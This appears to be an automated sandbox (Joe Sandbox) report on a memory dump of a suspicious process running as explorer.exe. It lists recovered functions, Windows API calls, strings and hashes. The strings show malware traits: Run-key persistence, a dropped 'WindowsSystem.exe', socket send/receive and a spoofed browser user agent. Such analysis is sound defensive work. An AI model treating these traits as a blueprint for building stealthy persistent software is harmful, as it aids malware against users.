Part of subcall function 00E257B0: und_memcpy.LIBCMTD ref: 00E258B4
Part of subcall function 00E257B0: LocalFree.KERNEL32 ref: 00E258C1
Part of subcall function 00E257B0: CoUninitialize.COMBASE ref: 00E258C7

setsockopt.WS2_32 ref: 00E252EC
LocalFree.KERNEL32 ref: 00E25772

Part of subcall function 00E24740: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 00E2477F

Part of subcall function 00E259A0: LocalAlloc.KERNEL32 ref: 00E259B1
Part of subcall function 00E259A0: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E259CF
Part of subcall function 00E259A0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E259E7

Part of subcall function 00E24C90: WSACreateEvent.WS2_32 ref: 00E24D29

LocalFree.KERNEL32 ref: 00E25764

Part of subcall function 00E24740: WSACreateEvent.WS2_32 ref: 00E247D9

CreateEventW.KERNEL32 ref: 00E256E0
WSAEventSelect.WS2_32 ref: 00E2570F
und_memcpy.LIBCMTD ref: 00E2573F
CloseHandle.KERNEL32 ref: 00E25756
shutdown.WS2_32 ref: 00E25785
closesocket.WS2_32 ref: 00E25793

Part of subcall function 00E25BB0: LocalAlloc.KERNEL32 ref: 00E25BC1
Part of subcall function 00E25BB0: lstrcpyW.KERNEL32 ref: 00E25C05
Part of subcall function 00E25BB0: GetModuleFileNameW.KERNEL32 ref: 00E25C25
Part of subcall function 00E25BB0: LocalFree.KERNEL32 ref: 00E25C34

Part of subcall function 00E24C90: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 00E24CCF

Strings

8, xrefs: 00E25307

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$CreateEventTimer$Alloc$ChangeConcurrency::details::platform::__Queueund_memcpy$CloseFileFromGuidHandleInitializeLibraryLoadModuleNameSelectStringUninitializeclosesocketlstrcpylstrlensetsockoptshutdownwsprintf
String ID: 8
API String ID: 1160820747-4194326291
Opcode ID: 7744c4e00b3501b588a20af34e49b89a779c10dbf6e343e0beb01c25e0c734aa
Instruction ID: 79d79704b3250ba30c26988c4230c6c96b23341ccf88b598589b0ce8812e1e49
Opcode Fuzzy Hash: 7744c4e00b3501b588a20af34e49b89a779c10dbf6e343e0beb01c25e0c734aa
Instruction Fuzzy Hash: F6D1DF76218BD08AE7709B15F5443DAB7A4F388798F80152AEA8D53B68DF7DC684CF40

Function 00E1C1F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00E1C1FE
RegisterClassW.USER32 ref: 00E1C24C
GetLastError.KERNEL32 ref: 00E1C260
CreateWindowExW.USER32 ref: 00E1C2CB
GetMessageW.USER32 ref: 00E1C2F7
TranslateMessage.USER32 ref: 00E1C309
DispatchMessageW.USER32 ref: 00E1C317
DestroyWindow.USER32 ref: 00E1C326
UnregisterClassW.USER32 ref: 00E1C341

Strings

{3423A12F-92CE-4AE6-962F-DE5D526886C1}, xrefs: 00E1C229, 00E1C2C2, 00E1C33A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister
String ID: {3423A12F-92CE-4AE6-962F-DE5D526886C1}
API String ID: 1237952354-437755030
Opcode ID: fca36edf4844be4939544b6fc52ab05d3dda8d3151a5665033656b6385d46372
Instruction ID: 4c6f57aad7f051d7163fbf85257d53b6e56feea1ac6a72a8baa26b871eec4403
Opcode Fuzzy Hash: fca36edf4844be4939544b6fc52ab05d3dda8d3151a5665033656b6385d46372
Instruction Fuzzy Hash: 1C314D31114BC4D6F7208F25F8A879A77B4F394784F605925E58AA3AB4DF7DC188CB00

Function 00E17980 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00E1798E
RegisterClassW.USER32 ref: 00E179DC
GetLastError.KERNEL32 ref: 00E179F0
CreateWindowExW.USER32 ref: 00E17A5B
GetMessageW.USER32 ref: 00E17A87
TranslateMessage.USER32 ref: 00E17A99
DispatchMessageW.USER32 ref: 00E17AA7
DestroyWindow.USER32 ref: 00E17AB6
UnregisterClassW.USER32 ref: 00E17AD1

Strings

{9C8B46D6-3D59-421D-A2D1-8F95C9197AC8}, xrefs: 00E179B9, 00E17A52, 00E17ACA

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister
String ID: {9C8B46D6-3D59-421D-A2D1-8F95C9197AC8}
API String ID: 1237952354-1830929042
Opcode ID: f849f3a4336449fa9ac388813d7629770bd7ad0e1afa6c6fa8222e9ffe5ab2fa
Instruction ID: d11c4de23a7406d8dd82b2e7a4bc542e173944fc82734a4d91ded007bb3d4642
Opcode Fuzzy Hash: f849f3a4336449fa9ac388813d7629770bd7ad0e1afa6c6fa8222e9ffe5ab2fa
Instruction Fuzzy Hash: 35314A75119BC5C6E7208F10F95879E77B0F7A4784F501A26D68AA3AB4DF3EC588CB00

Function 00E24740 Relevance: 16.7, APIs: 11, Instructions: 234timeCOMMON

Download Yara Rule

APIs

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 00E2477F

Part of subcall function 00E23370: recv.WS2_32 ref: 00E2339C

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeConcurrency::details::platform::__Queuerecv
String ID:
API String ID: 2709879575-0
Opcode ID: 002381c08185e5a16537f8a3cffd139b2132a009f6dbad97a70fce292a30c3fc
Instruction ID: abbd631c391b567cece35dbd94e67c1a47eda074bba6a03cb62696b0b593d4e9
Opcode Fuzzy Hash: 002381c08185e5a16537f8a3cffd139b2132a009f6dbad97a70fce292a30c3fc
Instruction Fuzzy Hash: 7EC1E3B26097D4CAE774CB19F0957EAB7A1F3C8748F10511ADA8A97B98CB79C484CF01

Function 00E24C90 Relevance: 16.7, APIs: 11, Instructions: 228timeCOMMON

Download Yara Rule

APIs

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 00E24CCF

Part of subcall function 00E233B0: send.WS2_32 ref: 00E233DC

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeConcurrency::details::platform::__Queuesend
String ID:
API String ID: 1596855159-0
Opcode ID: a14449d47bcc732b4026f4a8e1815cb31c5e400aa0fa59b0bbadee9f018b8fd0
Instruction ID: 500b9f71e6a9e56fa0b3ff880486b3bf436b8342aaf4e555c6e557f34efc8f67
Opcode Fuzzy Hash: a14449d47bcc732b4026f4a8e1815cb31c5e400aa0fa59b0bbadee9f018b8fd0
Instruction Fuzzy Hash: 3DC1E372609BD0CAD770CB19F5847EAB7A1F7C8748F10911ADA8A97B98CB79C494CF01

Function 00E09070 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00E0909E
GetWindowsDirectoryW.KERNEL32 ref: 00E090D7
GetSystemDirectoryW.KERNEL32 ref: 00E09110

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

StrCmpIW.SHLWAPI ref: 00E091E8
StrCmpIW.SHLWAPI ref: 00E091FF
StrCmpIW.SHLWAPI ref: 00E09216

Strings

%s\explorer.exe, xrefs: 00E09144
%s\cmd.exe, xrefs: 00E091C2
%s\svchost.exe, xrefs: 00E09183

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Directory$FileModuleNameSystemWindows_errno_invalid_parameter_noinfo
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 4125122012-2596767422
Opcode ID: c456c09313bfc01ec283db73f2b66220511faa922ff89db487c5000120ef8833
Instruction ID: dc8b7ce728c7f3aaad763f60797fa76bcf7071db3ccdc80b74e8f5269988c076
Opcode Fuzzy Hash: c456c09313bfc01ec283db73f2b66220511faa922ff89db487c5000120ef8833
Instruction Fuzzy Hash: C5410F21314AC4A6D770DB34F9943DB63A2F788744F805536868DD3AA9EF3DC658CB44

Function 00E0F370 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32 ref: 00E0F390
RegDeleteValueW.ADVAPI32 ref: 00E0F3A6
RegCloseKey.ADVAPI32 ref: 00E0F3B1
RegOpenKeyW.ADVAPI32 ref: 00E0F3D3
RegDeleteValueW.KERNEL32 ref: 00E0F3E9
RegCloseKey.ADVAPI32 ref: 00E0F3F4

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 00E0F3C5
{AB1F3E47-AEF1-400E-A108-233A046C3A34}, xrefs: 00E0F3DD
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00E0F382

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run${AB1F3E47-AEF1-400E-A108-233A046C3A34}
API String ID: 849931509-2070010218
Opcode ID: 18b7775432b7624f2f27483179afdce4d241ea27d62cc07b0c6b43f001c51a34
Instruction ID: 79c55dd891e6d4413b57571926cadc4718e1e349e0a95617100c7c27fbbb7542
Opcode Fuzzy Hash: 18b7775432b7624f2f27483179afdce4d241ea27d62cc07b0c6b43f001c51a34
Instruction Fuzzy Hash: 50012C76210AC082EA209F11FD543557324FBE47A9F801B26DA9E626F8DF3DC649C710

Function 00E0F510 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78stringmemoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 00E0F587
lstrlenW.KERNEL32 ref: 00E0F59A
lstrlenW.KERNEL32 ref: 00E0F5B5
LocalAlloc.KERNEL32 ref: 00E0F5DC
CoTaskMemFree.COMBASE ref: 00E0F647

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

lstrlenW.KERNEL32 ref: 00E0F620
CoTaskMemFree.COMBASE ref: 00E0F635

Strings

%s\%s\, xrefs: 00E0F605

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeTask$AllocFolderKnownLocalPath_errno_invalid_parameter_noinfo
String ID: %s\%s\
API String ID: 2748012262-2168696002
Opcode ID: 3cca972c16843a3f2efd62632e49bbe6d0520c0f8e1cd0dcd88a84282803a08c
Instruction ID: a357c05f0ef9d8e94ff518ae0fbd8aa22afb51293a05364cc6489e10a2aeb621
Opcode Fuzzy Hash: 3cca972c16843a3f2efd62632e49bbe6d0520c0f8e1cd0dcd88a84282803a08c
Instruction Fuzzy Hash: 38312B32208A8486DB54DB25F95436AB7B1F7C9B84F504421EB8E93B68DF7DC999CB00

Function 00E0FA60 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E0F510: SHGetKnownFolderPath.SHELL32 ref: 00E0F587
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F59A
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F5B5
Part of subcall function 00E0F510: LocalAlloc.KERNEL32 ref: 00E0F5DC
Part of subcall function 00E0F510: lstrlenW.KERNEL32 ref: 00E0F620
Part of subcall function 00E0F510: CoTaskMemFree.COMBASE ref: 00E0F635

GetFileAttributesW.KERNEL32 ref: 00E0FB60

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

DeleteFileW.KERNEL32 ref: 00E0FB1A
RemoveDirectoryW.KERNEL32 ref: 00E0FB2D
LocalFree.KERNEL32 ref: 00E0FB40
LocalFree.KERNEL32 ref: 00E0FB55
GetFileAttributesW.KERNEL32 ref: 00E0FB77

Strings

WindowsSystem.exe, xrefs: 00E0FAEB
%s%s, xrefs: 00E0FAFF

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: FileFreeLocallstrlen$Attributes$AllocDeleteDirectoryFolderKnownPathRemoveTask_errno_invalid_parameter_noinfo
String ID: %s%s$WindowsSystem.exe
API String ID: 2317434139-4151400913
Opcode ID: 1416f4c1b8bfc263e6edc9f5aa8eccf88895dd98b75af6870fdf466bacd7e51a
Instruction ID: 27fd846804d3f5deef8a22a70aed1196e3901088cf646ec8e603bbde82bdd442
Opcode Fuzzy Hash: 1416f4c1b8bfc263e6edc9f5aa8eccf88895dd98b75af6870fdf466bacd7e51a
Instruction Fuzzy Hash: 9D2141212249C491D770DB24F99839A73A0F7D4B55F901A32D69E93AF4EF3DC599CB00

Function 00E257B0 Relevance: 13.6, APIs: 9, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE ref: 00E257DA
CoCreateGuid.COMBASE ref: 00E257ED
StringFromGUID2.COMBASE ref: 00E2580B
wsprintfA.USER32 ref: 00E2582D
LocalAlloc.KERNEL32 ref: 00E2583D
und_memcpy.LIBCMTD ref: 00E258B4
LocalFree.KERNEL32 ref: 00E258C1
CoUninitialize.COMBASE ref: 00E258C7
CoUninitialize.COMBASE ref: 00E258D4

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpywsprintf
String ID:
API String ID: 3539965953-0
Opcode ID: 95a77f028184b52904f9620fb9d0f05d06bea14b2b953f3118e62dd5adf3fbc4
Instruction ID: 171dd5f0686b5790e4d7f464f593726a60d7d13c5c92ed22f143929e1c8bfb4c
Opcode Fuzzy Hash: 95a77f028184b52904f9620fb9d0f05d06bea14b2b953f3118e62dd5adf3fbc4
Instruction Fuzzy Hash: B4215E32328BC482DB74DB25F95439E63A1FBD5B80F405425D98AA7A68CF7DC548CB40

Function 00E047C0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 245synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00E047EB
LocalFree.KERNEL32 ref: 00E04880

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36, xrefs: 00E04A1A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocalObjectSingleWait
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
API String ID: 2302018356-4002695862
Opcode ID: bf519136ccd4abf063f206afac4ce43c27d6987f6cd99cde0c11dd423466edb2
Instruction ID: c015579a4bdb99481165d56befd727eaaebc0b5f3cfd3fdbd00b25c14e2e662d
Opcode Fuzzy Hash: bf519136ccd4abf063f206afac4ce43c27d6987f6cd99cde0c11dd423466edb2
Instruction Fuzzy Hash: 53E106B6206BC0C5EB24CF04F5D53AAB3A0F7A4748F50152AD68EA67E4DB7DC185CB80

Function 00E04570 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegCreateKeyExW.KERNEL32 ref: 00E045F4
RegSetValueExW.KERNEL32 ref: 00E0462B
RegCloseKey.KERNEL32 ref: 00E0463A
RegCloseKey.ADVAPI32 ref: 00E0464C

Strings

SOFTWARE\%s, xrefs: 00E045A0
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00E04599, 00E0461F
?, xrefs: 00E045D2

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Close$CreateValue_errno_invalid_parameter_noinfo
String ID: ?$SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 3235468379-2864920908
Opcode ID: 5711614ded0e062e90a3729fd925f5ac6c8927b05acfcae75dff4fb6692581c7
Instruction ID: 540c17e2497e354f265f9ef1b63e561dcba200c941fa8ae5eba89d45002a3dbf
Opcode Fuzzy Hash: 5711614ded0e062e90a3729fd925f5ac6c8927b05acfcae75dff4fb6692581c7
Instruction Fuzzy Hash: D9216D72218B84C6E750DF25F99875AB3A0F7D4794F401622EA9D93BA8EFBDC544CB00

Function 00E052C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

RegCreateKeyExW.KERNEL32 ref: 00E05340
RegSetValueExW.KERNEL32 ref: 00E05374
RegCloseKey.ADVAPI32 ref: 00E05383
RegCloseKey.ADVAPI32 ref: 00E05395

Strings

{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 00E052E5, 00E05368
SOFTWARE\%s, xrefs: 00E052EC
?, xrefs: 00E0531E

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
